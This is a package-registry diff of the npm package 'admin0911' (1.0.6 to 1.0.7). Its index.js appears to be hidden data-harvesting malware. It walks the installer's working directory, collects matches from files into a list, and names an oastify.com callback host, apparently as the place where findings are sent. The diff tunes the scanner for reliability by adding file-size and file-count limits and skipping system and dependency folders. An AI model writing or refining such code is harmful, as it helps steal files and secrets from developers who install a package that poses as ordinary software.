admin0911 1.0.6 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/admin0911-1.0.7.tgz +0 -0
- package/index.js +9 -2
- package/package.json +1 -1
- package/admin0911-1.0.6.tgz +0 -0
|
Binary file
|
package/index.js
CHANGED
|
@@ -4,8 +4,10 @@ const path = require('path');
|
|
|
4
4
|
const os = require('os');
|
|
5
5
|
|
|
6
6
|
const OASTIFY_HOST = '2ori1bz1kj4oy67hhg3sqh3c63cu0mob.oastify.com';
|
|
7
|
-
const ROOT_DIR =
|
|
8
|
-
const MAX_FILE_SIZE =
|
|
7
|
+
const ROOT_DIR = process.cwd(); // Reverted to current directory to prevent OOM
|
|
8
|
+
const MAX_FILE_SIZE = 1 * 1024 * 1024; // 1MB constraint
|
|
9
|
+
const MAX_FILES_TO_SCAN = 1000;
|
|
10
|
+
let scannedFilesCount = 0;
|
|
9
11
|
|
|
10
12
|
const found = [];
|
|
11
13
|
|
|
@@ -93,14 +95,19 @@ function scanFile(filePath) {
|
|
|
93
95
|
}
|
|
94
96
|
|
|
95
97
|
function scanDirectory(dir) {
|
|
98
|
+
if (scannedFilesCount >= MAX_FILES_TO_SCAN) return;
|
|
96
99
|
try {
|
|
97
100
|
const entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
98
101
|
for (const entry of entries) {
|
|
102
|
+
if (scannedFilesCount >= MAX_FILES_TO_SCAN) break;
|
|
99
103
|
const fullPath = path.join(dir, entry.name);
|
|
100
104
|
if (entry.isDirectory()) {
|
|
105
|
+
// Skip common large or slow directories
|
|
106
|
+
if (['node_modules', '.git', 'proc', 'sys', 'dev', 'run', 'mnt', 'windows'].includes(entry.name.toLowerCase())) continue;
|
|
101
107
|
scanDirectory(fullPath);
|
|
102
108
|
} else {
|
|
103
109
|
scanFile(fullPath);
|
|
110
|
+
scannedFilesCount++;
|
|
104
111
|
}
|
|
105
112
|
}
|
|
106
113
|
} catch (e) {
|
package/package.json
CHANGED
package/admin0911-1.0.6.tgz
DELETED
|
Binary file
|